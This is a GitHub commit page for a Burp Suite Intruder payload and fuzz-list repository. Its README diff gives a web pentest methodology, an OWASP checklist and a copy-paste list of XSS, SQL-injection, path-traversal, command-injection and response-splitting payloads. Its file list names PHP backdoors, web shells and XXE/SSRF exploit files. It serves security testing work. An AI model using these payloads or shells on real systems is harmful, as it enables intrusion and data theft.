IntruderPayloads by 1N3@CrowdShield

1N3 · Feb 20, 2017 · ec37930 · ec37930
1 parent 3c957a5
commit ec37930
Show file tree

Hide file tree

Showing 207 changed files with 317 additions and 2 deletions.
diff --git a/BurpAttacks/01_burpattack_basic_methods b/BurpAttacks/01_burpattack_basic_methods
diff --git a/BurpAttacks/01_burpattack_dirbuster b/BurpAttacks/01_burpattack_dirbuster
diff --git a/BurpAttacks/01_burpattack_fast_fuzz b/BurpAttacks/01_burpattack_fast_fuzz
diff --git a/BurpAttacks/02_burpattack_vulnerabilities_all b/BurpAttacks/02_burpattack_vulnerabilities_all
diff --git a/BurpAttacks/03_burpattack_find_inject b/BurpAttacks/03_burpattack_find_inject
diff --git a/BurpAttacks/03_burpattack_find_injectx b/BurpAttacks/03_burpattack_find_injectx
diff --git a/BurpAttacks/04_burpattack_basic_fuzz b/BurpAttacks/04_burpattack_basic_fuzz
diff --git a/BurpAttacks/04_burpattack_sqli_quick_fuzz b/BurpAttacks/04_burpattack_sqli_quick_fuzz
diff --git a/BurpAttacks/05_burpattack_full_fuzz b/BurpAttacks/05_burpattack_full_fuzz
diff --git a/BurpAttacks/burp_config b/BurpAttacks/burp_config
diff --git a/BurpAttacks/burp_project_options.json b/BurpAttacks/burp_project_options.json
diff --git a/BurpAttacks/burp_user_options.json b/BurpAttacks/burp_user_options.json
diff --git a/BurpAttacks/burpattack_basic_auth_brute b/BurpAttacks/burpattack_basic_auth_brute
diff --git a/BurpAttacks/burpattack_brute_force b/BurpAttacks/burpattack_brute_force
diff --git a/BurpAttacks/burpattack_command_exec b/BurpAttacks/burpattack_command_exec
diff --git a/BurpAttacks/burpattack_find_injectx b/BurpAttacks/burpattack_find_injectx
diff --git a/BurpAttacks/burpattack_nums_1-100 b/BurpAttacks/burpattack_nums_1-100
diff --git a/BurpAttacks/burpattack_overflow b/BurpAttacks/burpattack_overflow
diff --git a/BurpAttacks/burpattack_server_side_include b/BurpAttacks/burpattack_server_side_include
diff --git a/BurpAttacks/burpattack_shellshock b/BurpAttacks/burpattack_shellshock
diff --git a/BurpAttacks/burpattack_sqli_authbypass b/BurpAttacks/burpattack_sqli_authbypass
diff --git a/BurpAttacks/burpattack_sqli_error_based b/BurpAttacks/burpattack_sqli_error_based
diff --git a/BurpAttacks/burpattack_sqli_quick_fuzz b/BurpAttacks/burpattack_sqli_quick_fuzz
diff --git a/BurpAttacks/burpattack_sqli_time_based b/BurpAttacks/burpattack_sqli_time_based
diff --git a/BurpAttacks/burpattack_url_attacks b/BurpAttacks/burpattack_url_attacks
diff --git a/BurpAttacks/burpattack_wordpress b/BurpAttacks/burpattack_wordpress
diff --git a/BurpAttacks/burpattack_xmlrpc_dos b/BurpAttacks/burpattack_xmlrpc_dos
diff --git a/BurpAttacks/burpattack_xpath_injection b/BurpAttacks/burpattack_xpath_injection
diff --git a/BurpAttacks/burpattack_xss b/BurpAttacks/burpattack_xss
diff --git a/BurpAttacks/burpattack_xss_stored b/BurpAttacks/burpattack_xss_stored
diff --git a/BurpAttacks/burpattack_xxe b/BurpAttacks/burpattack_xxe
diff --git a/BurpAttacks/burpconfig_default b/BurpAttacks/burpconfig_default
diff --git a/BurpAttacks/burprepeater_xxe b/BurpAttacks/burprepeater_xxe
diff --git a/BurpAttacks/shellshock_attack b/BurpAttacks/shellshock_attack
diff --git a/FuzzLists/auth_bypass.txt b/FuzzLists/auth_bypass.txt
diff --git a/FuzzLists/bad_chars.txt b/FuzzLists/bad_chars.txt
diff --git a/FuzzLists/basic_fuzz.txt b/FuzzLists/basic_fuzz.txt
diff --git a/FuzzLists/command_exec.txt b/FuzzLists/command_exec.txt
diff --git a/FuzzLists/dirbuster-cgi.txt b/FuzzLists/dirbuster-cgi.txt
diff --git a/FuzzLists/dirbuster-dirs.txt b/FuzzLists/dirbuster-dirs.txt
diff --git a/FuzzLists/dirbuster-quick.txt b/FuzzLists/dirbuster-quick.txt
diff --git a/FuzzLists/dirbuster-top1000.txt b/FuzzLists/dirbuster-top1000.txt
diff --git a/FuzzLists/full_fuzz.txt b/FuzzLists/full_fuzz.txt
diff --git a/FuzzLists/grep_injectx.txt b/FuzzLists/grep_injectx.txt
diff --git a/FuzzLists/lfi.txt b/FuzzLists/lfi.txt
diff --git a/FuzzLists/overflow-dos.txt b/FuzzLists/overflow-dos.txt
diff --git a/FuzzLists/overflow.txt b/FuzzLists/overflow.txt
diff --git a/FuzzLists/passwords_long.txt b/FuzzLists/passwords_long.txt
diff --git a/FuzzLists/passwords_medium.txt b/FuzzLists/passwords_medium.txt
diff --git a/FuzzLists/passwords_quick.txt b/FuzzLists/passwords_quick.txt
diff --git a/FuzzLists/payload_injectx.txt b/FuzzLists/payload_injectx.txt
diff --git a/FuzzLists/quick_fuzz.txt b/FuzzLists/quick_fuzz.txt
diff --git a/FuzzLists/sqli-error-based.txt b/FuzzLists/sqli-error-based.txt
diff --git a/FuzzLists/sqli-time-based.txt b/FuzzLists/sqli-time-based.txt
diff --git a/FuzzLists/sqli-union-select.txt b/FuzzLists/sqli-union-select.txt
diff --git a/FuzzLists/sqli_escape_chars.txt b/FuzzLists/sqli_escape_chars.txt
diff --git a/FuzzLists/ssi_quick.txt b/FuzzLists/ssi_quick.txt
diff --git a/FuzzLists/traversal-short.txt b/FuzzLists/traversal-short.txt
diff --git a/FuzzLists/traversal.txt b/FuzzLists/traversal.txt
diff --git a/FuzzLists/url_payloads.txt b/FuzzLists/url_payloads.txt
diff --git a/FuzzLists/usernames.txt b/FuzzLists/usernames.txt
diff --git a/FuzzLists/vulnerability_discovery.txt b/FuzzLists/vulnerability_discovery.txt
diff --git a/FuzzLists/xml-attacks.txt b/FuzzLists/xml-attacks.txt
diff --git a/FuzzLists/xss_escape_chars.txt b/FuzzLists/xss_escape_chars.txt
diff --git a/FuzzLists/xss_find_inject.txt b/FuzzLists/xss_find_inject.txt
diff --git a/FuzzLists/xss_funny_stored.txt b/FuzzLists/xss_funny_stored.txt
diff --git a/FuzzLists/xss_grep.txt b/FuzzLists/xss_grep.txt
diff --git a/FuzzLists/xss_payloads_quick.txt b/FuzzLists/xss_payloads_quick.txt
diff --git a/FuzzLists/xss_remote_payloads-http.txt b/FuzzLists/xss_remote_payloads-http.txt
diff --git a/FuzzLists/xss_remote_payloads-https.txt b/FuzzLists/xss_remote_payloads-https.txt
diff --git a/FuzzLists/xss_swf_fuzz.txt b/FuzzLists/xss_swf_fuzz.txt
diff --git a/OWASPTestingChecklist_v_1.0.xls b/OWASPTestingChecklist_v_1.0.xls
diff --git a/Plugins/BurpKit-1.02-pre.jar b/Plugins/BurpKit-1.02-pre.jar
diff --git a/Plugins/jruby-complete-9.0.0.0.jar b/Plugins/jruby-complete-9.0.0.0.jar
diff --git a/Plugins/jython-standalone-2.7.0.jar b/Plugins/jython-standalone-2.7.0.jar
diff --git a/README.md b/README.md
@@ -1,4 +1,308 @@
 # IntruderPayloads
-A collection of Burpsuite Intruder payloads and fuzz lists
+A collection of Burpsuite Intruder payloads and fuzz lists and pentesting methodology. To pull down all 3rd party repos, run install.sh in the same directory of the IntruderPayloads folder.
+
+Any comments or feedback/changes/improvements are welcome!
+
+Author: 1N3@CrowdShield https://crowdshield.com
+
+
+## PENTEST METHODOLOGY v2.0
+
+
+
+### BASIC PASSIVE AND ACTIVE CHECKS:
+-----------------------------------------------------------------------
+
+- Burpsuite Spider with intelligent form submission
+- Manual crawl of website through Burpsuite proxy and submitting INJECTX payloads for tracking
+- Burpsuite passive scan
+- Burpsuiet engagement tools > Search > ```<form|<input|url=|path=|load=|INJECTX|Found|<!--|Exception|Query|ORA|SQL|error|Location|crowdshield|xerosecurity|username|password|document\.|location\.|eval\(|exec\(|\?wsdl|\.wsdl```
+- Burpsuite engagement tools > Find comments
+- Burpsuite engagement tools > Find scripts
+- Burpsuite engagement tools > Find references
+- Burpsuite engagement tools > Analyze target
+- Burpsuite engagement tools > Discover content
+- Burpsuite Intruder > file/directory brute force
+- Burpsuite Intruder > HTTP methods, user agents, etc.
+- Enumerate all software technologies, HTTP methods, and potential attack vectors
+- Understand the function of the site, what types of data is stored or valuable and what sorts of functions to attack, etc.
+
+
+
+
+
+
+### ENUMERATION:
+-----------------------------------------------------------------------
+
+- OPERATING SYSTEM 
+- WEB SERVER
+- DATABASE SERVERS
+- PROGRAMMING LANGUAGES
+- PLUGINS/VERSIONS
+- OPEN PORTS
+- USERNAMES
+- SERVICES
+- WEB SPIDERING
+- GOOGLE HACKING
+
+
+### VECTORS:
+-----------------------------------------------------------------------
+
+- INPUT FORMS
+- GET/POST PARAMS
+- URI/REST STRUCTURE
+- COOKIES
+- HEADERS
+
+
+
+### SEARCH STRINGS:
+-----------------------------------------------------------------------
+Just some helpful regex terms to search for passively using Burpsuite or any other web proxy... 
+```
+fname|phone|id|org_name|name|email
+```
+
+
+
+
+### QUICK ATTACK STRINGS:
+-----------------------------------------------------------------------
+Not a complete list by any means, but when you're manually testing and walking through sites and need a quick copy/paste, this can come in handy... 
+```
+Company
+First Last
+username
+[email protected]
+Password123$
++1416312384
+google.com
+https://google.com
+//google.com
+.google.com
+https://google.com/.injectx/rfi_vuln.txt
+https://google.com/.injectx/rfi_vuln.txt?`whoami`
+https://google.com/.injectx/rfi_vuln.txt%00.png
+https://google.com/.injectx/rfi_vuln.txt%00.html
+12188
+01/01/1979
+4242424242424242
+INJECTX
+'>"></INJECTX>(1)
+javascript:alert(1)//
+"><img/onload=alert(1)>' -- 
+"></textarea><img/onload=alert(1)>' -- 
+INJECTX'>"><img/src="https://google.com/.injectx/xss_vuln.png"></img>
+'>"><iframe/onload=alert(1)></iframe>
+INJECTX'>"><ScRiPt>confirm(1)<ScRiPt>
+"></textarea><img/onload=alert(1)>' -- // INJECTX <!-- 
+"><img/onload=alert(1)>' -- // INJECTX <!-- 
+INJECTX'"><h1>X<!-- 
+INJECTX"><h1>X
+en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
+%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
+../../../../../../../../../../../etc/passwd%00
+{{4+4}}
+sleep 5; sleep 5 || sleep 5 | sleep 5 & sleep 5 && sleep 5
+admin" or "1"="1"-- 
+admin' or '1'='1'-- 
+firstlastcompany%0a%0d%00
+```
+
+
+
+
+### OWASP TESTING CHECKLIST:
+-----------------------------------------------------------------------
+- Spiders, Robots and Crawlers	IG-001
+- Search Engine Discovery/Reconnaissance	IG-002
+- Identify application entry points	IG-003
+- Testing for Web Application Fingerprint	IG-004
+- Application Discovery	IG-005
+- Analysis of Error Codes	IG-006
+- SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity) - SSL Weakness	CM‐001
+- DB Listener Testing - DB Listener weak	CM‐002
+- Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness	CM‐003
+- Application Configuration Management Testing - Application Configuration management weakness	CM‐004
+- Testing for File Extensions Handling - File extensions handling	CM‐005
+- Old, backup and unreferenced files - Old, backup and unreferenced files	CM‐006
+- Infrastructure and Application Admin Interfaces - Access to Admin interfaces	CM‐007
+- Testing for HTTP Methods and XST - HTTP Methods enabled, XST permitted, HTTP Verb	CM‐008
+- Credentials transport over an encrypted channel - Credentials transport over an encrypted channel	AT-001
+- Testing for user enumeration - User enumeration	AT-002
+- Testing for Guessable (Dictionary) User Account - Guessable user account	AT-003
+- Brute Force Testing - Credentials Brute forcing	AT-004
+- Testing for bypassing authentication schema - Bypassing authentication schema	AT-005
+- Testing for vulnerable remember password and pwd reset - Vulnerable remember password, weak pwd reset	AT-006
+- Testing for Logout and Browser Cache Management - - Logout function not properly implemented, browser cache weakness	AT-007
+- Testing for CAPTCHA - Weak Captcha implementation	AT-008
+- Testing Multiple Factors Authentication - Weak Multiple Factors Authentication	AT-009
+- Testing for Race Conditions - Race Conditions vulnerability	AT-010
+- Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token	SM-001
+- Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity	SM-002
+- Testing for Session Fixation - Session Fixation	SM-003
+- Testing for Exposed Session Variables - Exposed sensitive session variables	SM-004
+- Testing for CSRF - CSRF	SM-005
+- Testing for Path Traversal - Path Traversal	AZ-001
+- Testing for bypassing authorization schema - Bypassing authorization schema	AZ-002
+- Testing for Privilege Escalation - Privilege Escalation	AZ-003
+- Testing for Business Logic - Bypassable business logic	BL-001
+- Testing for Reflected Cross Site Scripting - Reflected XSS	DV-001
+- Testing for Stored Cross Site Scripting - Stored XSS	DV-002
+- Testing for DOM based Cross Site Scripting - DOM XSS	DV-003
+- Testing for Cross Site Flashing - Cross Site Flashing	DV-004
+- SQL Injection - SQL Injection	DV-005
+- LDAP Injection - LDAP Injection	DV-006
+- ORM Injection - ORM Injection	DV-007
+- XML Injection - XML Injection	DV-008
+- SSI Injection - SSI Injection	DV-009
+- XPath Injection - XPath Injection	DV-010
+- IMAP/SMTP Injection - IMAP/SMTP Injection	DV-011
+- Code Injection - Code Injection	DV-012
+- OS Commanding - OS Commanding	DV-013
+- Buffer overflow - Buffer overflow	DV-014
+- Incubated vulnerability - Incubated vulnerability	DV-015
+- Testing for HTTP Splitting/Smuggling - HTTP Splitting, Smuggling	DV-016
+- Testing for SQL Wildcard Attacks - SQL Wildcard vulnerability	DS-001
+- Locking Customer Accounts - Locking Customer Accounts	DS-002
+- Testing for DoS Buffer Overflows - Buffer Overflows	DS-003
+- User Specified Object Allocation - User Specified Object Allocation	DS-004
+- User Input as a Loop Counter - User Input as a Loop Counter	DS-005
+- Writing User Provided Data to Disk - Writing User Provided Data to Disk	DS-006
+- Failure to Release Resources - Failure to Release Resources	DS-007
+- Storing too Much Data in Session - Storing too Much Data in Session	DS-008
+- WS Information Gathering - N.A.	WS-001
+- Testing WSDL - WSDL Weakness	WS-002
+- XML Structural Testing - Weak XML Structure	WS-003
+- XML content-level Testing - XML content-level	WS-004
+- HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST	WS-005
+- Naughty SOAP attachments - WS Naughty SOAP attachments	WS-006
+- Replay Testing - WS Replay Testing	WS-007
+- AJAX Vulnerabilities - N.A.	AJ-001
+- AJAX Testing - AJAX weakness	AJ-002
+
+
+
+
+### LOW SEVERITY:
+-----------------------------------------------------------------------
+A list of low severity findings that are likely out of scope for most bug bounty programs but still helpful to reference for normal web penetration tests. 
+- Descriptive error messages (e.g. Stack Traces, application or server errors).
+- HTTP 404 codes/pages or other HTTP non-200 codes/pages.
+- Banner disclosure on common/public services.
+- Disclosure of known public files or directories, (e.g. robots.txt).
+- Click-Jacking and issues only exploitable through click-jacking.
+- CSRF on forms which are available to anonymous users (e.g. the contact form).
+- Logout Cross-Site Request Forgery (logout CSRF).
+- Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
+- Lack of Secure and HTTPOnly cookie flags.
+- Lack of Security Speedbump when leaving the site.
+- Weak Captcha / Captcha Bypass
+- Username enumeration via Login Page error message
+- Username enumeration via Forgot Password error message
+- Login or Forgot Password page brute force and account lockout not enforced.
+- OPTIONS / TRACE HTTP method enabled
+- SSL Attacks such as BEAST, BREACH, Renegotiation attack
+- SSL Forward secrecy not enabled
+- SSL Insecure cipher suites
+- The Anti-MIME-Sniffing header X-Content-Type-Options
+- Missing HTTP security headers
+- Security best practices without accompanying Proof-of-Concept exploitation
+- Descriptive error messages (e.g. Stack Traces, application or server errors).
+- HTTP 404 codes/pages or other HTTP non-200 codes/pages.
+- Denial of Service Attacks.
+- Fingerprinting / banner disclosure on common/public services.
+- Disclosure of known public files or directories, (e.g. robots.txt).
+- Clickjacking and issues only exploitable through clickjacking.
+- CSRF on non-sensitive forms.
+- Logout Cross-Site Request Forgery (logout CSRF).
+- Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
+- Lack of Secure/HTTPOnly flags on non-sensitive Cookies.
+- Lack of Security Speedbump when leaving the site.
+- Weak Captcha / Captcha Bypass
+- Login or Forgot Password page brute force and account lockout not enforced.
+- OPTIONS HTTP method enabled
+- HTTPS Mixed Content Scripts
+- Known vulnerable libraries 
+- Attacks on Third Party Ad Services
+- Username / email enumeration via Forgot Password or Login page
+- Missing HTTP security headers
+- Strict-Transport-Security Not Enabled For HTTPS
+- X-Frame-Options
+- X-XSS-Protection
+- X-Content-Type-Options
+- Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
+- Content-Security-Policy-Report-Only
+- SSL Issues, e.g.
+- SSL Attacks such as BEAST, BREACH, Renegotiation attack
+- SSL Forward secrecy not enabled
+- SSL weak / insecure cipher suites
+- Lack of SPF records (Email Spoofing)
+- Auto-complete enabled on password fields
+- HTTP enabled
+- Session ID or Login Sent Over HTTP
+- Insecure Cookies
+- Cross-Domain.xml Allows All Domains
+- HTML5 Allowed Domains
+- Cross Origin Policy
+- Content Sniffing Not Disabled
+- Password Reset Account Enumeration
+- HTML Form Abuse (Denial of Service)
+- Weak HSTS Age (86,000 or less)
+- Lack of Password Security Policy (Brute Forcable Passwords)
+- Physical Testing
+- Denial of service attacks
+- Resource Exhaustion attacks
+- Issues related to rate limiting
+- Login or Forgot Password page brute force and account lockout not enforced
+- api*.netflix.com listens on port 80
+- Cross-domain access policy scoped to *.netflix.com
+- Username / Email Enumeration
+- via Login Page error message
+- via Forgot Password error message
+- via Registration
+- Weak password
+- Weak Captcha / Captcha bypass
+- Lack of Secure/HTTPOnly flags on cookies
+- Cookie valid after logout
+- Cookie valid after password reset
+- Cookie expiration
+- Forgot password autologin
+- Autologin token reuse
+- Same Site Scripting
+- SSL Issues, e.g.
+- SSL Attacks such as BEAST, BREACH, Renegotiation attack
+- SSL Forward secrecy not enabled
+- SSL weak / insecure cipher suites
+- SSL vulnerabilities related to configuration or version
+- Descriptive error messages (e.g. Stack Traces, application or server errors).
+- HTTP 404 codes/pages or other HTTP non-200 codes/pages.
+- Fingerprinting/banner disclosure on common/public services.
+- Disclosure of known public files or directories, (e.g. robots.txt).
+- Clickjacking and issues only exploitable through clickjacking.
+- CSRF on forms that are available to anonymous users (e.g. the contact form).
+- Logout Cross-Site Request Forgery (logout CSRF).
+- Missing CSRF protection on non-sensitive functionality
+- Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
+- Incorrect Charset
+- HTML Autocomplete
+- OPTIONS HTTP method enabled
+- TRACE HTTP method enabled
+- Missing HTTP security headers, specifically
+- (https://www.owasp.org/index.php/List_of_useful_HTTP_headers), e.g.
+- Strict-Transport-Security
+- X-Frame-Options
+- X-XSS-Protection
+- X-Content-Type-Options
+- Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
+- Content-Security-Policy-Report-Only
+- Issues only present in old browsers/old plugins/end-of-life software browsers
+- IE < 9
+- Chrome < 40
+- Firefox < 35
+- Safari < 7
+- Opera < 13
+- Vulnerability reports related to the reported version numbers of web servers, services, or frameworks
 
-Author: 1N3 @ CrowdShield https://crowdshield.com
diff --git a/Uploads/" b/Uploads/"
diff --git a/Uploads/" -- b/Uploads/" --
diff --git a/Uploads/"><iframe src=" javascript:alert('XSS');">.jpg b/Uploads/"><iframe src=" javascript:alert('XSS');">.jpg
diff --git a/Uploads/"><iframe src=" javascript:alert('XSS');">.xml b/Uploads/"><iframe src=" javascript:alert('XSS');">.xml
diff --git a/Uploads/"><img onload=prompt(1)>.cfg b/Uploads/"><img onload=prompt(1)>.cfg
diff --git a/Uploads/"><img onload=prompt(1)>.csv b/Uploads/"><img onload=prompt(1)>.csv
diff --git a/Uploads/"><img onload=prompt(1)>.docx b/Uploads/"><img onload=prompt(1)>.docx
diff --git a/Uploads/"><img onload=prompt(1)>.img b/Uploads/"><img onload=prompt(1)>.img
diff --git a/Uploads/"><img onload=prompt(1)>.torrent b/Uploads/"><img onload=prompt(1)>.torrent
diff --git a/Uploads/"><img onload=prompt(1)>.zip b/Uploads/"><img onload=prompt(1)>.zip
diff --git a/Uploads/"><img onload=prompt(1)>2.csv b/Uploads/"><img onload=prompt(1)>2.csv
diff --git a/Uploads/"><img onload=prompt(1)>2.docx b/Uploads/"><img onload=prompt(1)>2.docx
diff --git a/Uploads/"><img src=x onload=prompt(1)>.jpg b/Uploads/"><img src=x onload=prompt(1)>.jpg
diff --git a/Uploads/"><svg onload=alert(1)>.jpg b/Uploads/"><svg onload=alert(1)>.jpg
diff --git a/Uploads/%00';alert(1);.jpg b/Uploads/%00';alert(1);.jpg
diff --git a/Uploads/%00';alert(2);.jpg b/Uploads/%00';alert(2);.jpg
diff --git a/Uploads/%001.jpg b/Uploads/%001.jpg
diff --git a/Uploads/%0011.jpg b/Uploads/%0011.jpg
diff --git a/Uploads/%0a';alert(1);.jpg b/Uploads/%0a';alert(1);.jpg
diff --git a/Uploads/%0a';alert(2);.jpg b/Uploads/%0a';alert(2);.jpg
diff --git a/Uploads/%0a1.jpg b/Uploads/%0a1.jpg
diff --git a/Uploads/%1.jpg b/Uploads/%1.jpg
diff --git a/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%00.png b/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%00.png
diff --git a/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%0a%0f.png b/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%0a%0f.png
diff --git a/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%0a.png b/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E%0a.png
diff --git a/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E.png b/Uploads/%22%3E%3Csvg%20onload%3Dalert(1)%3E.png
diff --git a/Uploads/%22__img src=x onerror=prompt(1)_.jpg b/Uploads/%22__img src=x onerror=prompt(1)_.jpg
diff --git a/Uploads/%22onerror=%22alert(1)%22a=%22.jpg b/Uploads/%22onerror=%22alert(1)%22a=%22.jpg
diff --git a/....%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00%0d%0a\n;`whoami`'"--.png b/....%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00%0d%0a\n;`whoami`'"--.png
diff --git a/Uploads/' having 1=1 b/Uploads/' having 1=1
diff --git a/Uploads/'" -- b/Uploads/'" --
diff --git a/Uploads/'+alert(1)+'.jpg b/Uploads/'+alert(1)+'.jpg
diff --git a/Uploads/'.swf b/Uploads/'.swf
diff --git a/Uploads/';alert(1);x='.jpg b/Uploads/';alert(1);x='.jpg
diff --git a/Uploads/.zip b/Uploads/.zip
diff --git a/Uploads/1N3.jpg b/Uploads/1N3.jpg
diff --git a/Uploads/1N3.php b/Uploads/1N3.php
diff --git a/Uploads/1N3.php\x00.csv b/Uploads/1N3.php\x00.csv
diff --git a/Uploads/1N3.php\x00.jpg b/Uploads/1N3.php\x00.jpg
diff --git a/Uploads/404.php.jpg b/Uploads/404.php.jpg
diff --git a/Uploads/<h1>INJECTX.jpg b/Uploads/<h1>INJECTX.jpg
diff --git a/Uploads/<hr>test<hr> b/Uploads/<hr>test<hr>
diff --git a/Uploads/<img b/Uploads/<img
diff --git a/Uploads/<img onload=prompt(1)>.csv b/Uploads/<img onload=prompt(1)>.csv
diff --git a/Uploads/<img src="c" onerror=alert(1)> b/Uploads/<img src="c" onerror=alert(1)>
diff --git a/Uploads/BillionLaughs.txt b/Uploads/BillionLaughs.txt
diff --git a/Uploads/Desktop.rar b/Uploads/Desktop.rar
diff --git a/Uploads/EventsSources.xml b/Uploads/EventsSources.xml
diff --git a/Uploads/ProxyTarget.xml b/Uploads/ProxyTarget.xml
diff --git a/Uploads/Service.xml b/Uploads/Service.xml
diff --git a/Uploads/Sun'><img src=x onerror=alert(1)>set.jpg b/Uploads/Sun'><img src=x onerror=alert(1)>set.jpg
diff --git a/Uploads/Sun'__img src=x onerror=alert(1)_set.jpg b/Uploads/Sun'__img src=x onerror=alert(1)_set.jpg
diff --git a/Uploads/\';alert\(XSS\);x=\' b/Uploads/\';alert\(XSS\);x=\'
diff --git a/Uploads/alt-extensions-asp.txt b/Uploads/alt-extensions-asp.txt
diff --git a/Uploads/alt-extensions-coldfusion.txt b/Uploads/alt-extensions-coldfusion.txt
diff --git a/Uploads/alt-extensions-jsp.txt b/Uploads/alt-extensions-jsp.txt
diff --git a/Uploads/alt-extensions-perl.txt b/Uploads/alt-extensions-perl.txt
diff --git a/Uploads/alt-extensions-php.txt b/Uploads/alt-extensions-php.txt
diff --git a/Uploads/download.gif b/Uploads/download.gif
diff --git a/Uploads/evil-xxe.docx b/Uploads/evil-xxe.docx
diff --git a/Uploads/exifremover.jpg b/Uploads/exifremover.jpg
diff --git a/Uploads/exploit.jpg b/Uploads/exploit.jpg
diff --git a/Uploads/exploit.mvg b/Uploads/exploit.mvg
diff --git a/Uploads/exploit.png b/Uploads/exploit.png
diff --git a/Uploads/exploit.svg b/Uploads/exploit.svg
diff --git a/Uploads/file-ul-filter-bypass-commonly-writable-directories.txt b/Uploads/file-ul-filter-bypass-commonly-writable-directories.txt
diff --git a/Uploads/file-ul-filter-bypass-microsoft-asp-filetype-bf.txt b/Uploads/file-ul-filter-bypass-microsoft-asp-filetype-bf.txt
diff --git a/Uploads/file-ul-filter-bypass-microsoft-asp.txt b/Uploads/file-ul-filter-bypass-microsoft-asp.txt
diff --git a/Uploads/file-ul-filter-bypass-ms-php.txt b/Uploads/file-ul-filter-bypass-ms-php.txt
diff --git a/Uploads/file-ul-filter-bypass-x-platform-generic.txt b/Uploads/file-ul-filter-bypass-x-platform-generic.txt
diff --git a/Uploads/file-ul-filter-bypass-x-platform-php.txt b/Uploads/file-ul-filter-bypass-x-platform-php.txt
diff --git a/Uploads/file-ul-filter-bypass.readme b/Uploads/file-ul-filter-bypass.readme
diff --git a/Uploads/gifshell.php.gif b/Uploads/gifshell.php.gif
diff --git a/Uploads/hithere.php.jpg b/Uploads/hithere.php.jpg
diff --git a/Uploads/image%00.jpg b/Uploads/image%00.jpg
diff --git a/Uploads/image.jpg b/Uploads/image.jpg
diff --git a/Uploads/image.php b/Uploads/image.php
diff --git a/Uploads/image_upload_test.rar b/Uploads/image_upload_test.rar
diff --git a/Uploads/import_csv_template.csv b/Uploads/import_csv_template.csv
diff --git a/Uploads/import_csv_template2.csv b/Uploads/import_csv_template2.csv
diff --git a/Uploads/invalid-filenames-linux.txt b/Uploads/invalid-filenames-linux.txt
diff --git a/Uploads/invalid-filenames-microsoft.txt b/Uploads/invalid-filenames-microsoft.txt
diff --git a/Uploads/invalid-filesystem-chars-microsoft.txt b/Uploads/invalid-filesystem-chars-microsoft.txt
diff --git a/Uploads/invalid-filesystem-chars-osx.txt b/Uploads/invalid-filesystem-chars-osx.txt
diff --git a/Uploads/jaja.php.orionn.gif b/Uploads/jaja.php.orionn.gif
diff --git a/Uploads/jpeg.php%00.jpg b/Uploads/jpeg.php%00.jpg
diff --git a/Uploads/jpeg.php.jpg b/Uploads/jpeg.php.jpg
diff --git a/Uploads/jpeg/test.jpeg b/Uploads/jpeg/test.jpeg
diff --git a/Uploads/kos`uname`oss.jpg b/Uploads/kos`uname`oss.jpg
diff --git a/Uploads/loading.gif b/Uploads/loading.gif
diff --git a/Uploads/mp4/1.mp4 b/Uploads/mp4/1.mp4
diff --git a/Uploads/mp4/mp4uploadtext.txt b/Uploads/mp4/mp4uploadtext.txt
diff --git a/Uploads/mvg_read.mvg b/Uploads/mvg_read.mvg
diff --git a/Uploads/mvg_ssrf.mvg b/Uploads/mvg_ssrf.mvg
diff --git a/Uploads/onerror=alert('XSS')' a='.jpg b/Uploads/onerror=alert('XSS')' a='.jpg
diff --git a/Uploads/passwd.zip b/Uploads/passwd.zip
diff --git a/Uploads/php-backdoor.docx b/Uploads/php-backdoor.docx
diff --git a/Uploads/php-backdoor.jpg b/Uploads/php-backdoor.jpg
diff --git a/Uploads/php-backdoor.php b/Uploads/php-backdoor.php
diff --git a/Uploads/php-backdoor.php%00.jpg b/Uploads/php-backdoor.php%00.jpg
diff --git a/Uploads/php-backdoor.php.jpg b/Uploads/php-backdoor.php.jpg
diff --git a/Uploads/phpinfo.jpg b/Uploads/phpinfo.jpg
diff --git a/Uploads/phpinfo.php.gif b/Uploads/phpinfo.php.gif
diff --git a/Uploads/phppng.png b/Uploads/phppng.png
diff --git a/Uploads/png/image.php.png b/Uploads/png/image.php.png
diff --git a/Uploads/publications.opml b/Uploads/publications.opml
diff --git a/Uploads/pwnd.php.jpg b/Uploads/pwnd.php.jpg
diff --git a/Uploads/rce.php.jpg b/Uploads/rce.php.jpg
diff --git a/Uploads/rce2.php.jpg b/Uploads/rce2.php.jpg
diff --git a/Uploads/shell.php;.jpg b/Uploads/shell.php;.jpg
diff --git a/Uploads/shell.png b/Uploads/shell.png
diff --git a/Uploads/shell2.php;.jpg b/Uploads/shell2.php;.jpg
diff --git a/Uploads/simple-backdoor.php b/Uploads/simple-backdoor.php
diff --git a/Uploads/simple-backdoor.php.gif b/Uploads/simple-backdoor.php.gif
diff --git a/Uploads/simple-backdoor2.php.gif b/Uploads/simple-backdoor2.php.gif
diff --git a/Uploads/ssrf.jpg b/Uploads/ssrf.jpg
diff --git a/Uploads/ssrf.mvg b/Uploads/ssrf.mvg
diff --git a/Uploads/ssrf.png b/Uploads/ssrf.png
diff --git a/Uploads/svg-xss-xml.svg b/Uploads/svg-xss-xml.svg
diff --git a/Uploads/swf/test.html b/Uploads/swf/test.html
diff --git a/Uploads/swf/xssproject.swf b/Uploads/swf/xssproject.swf
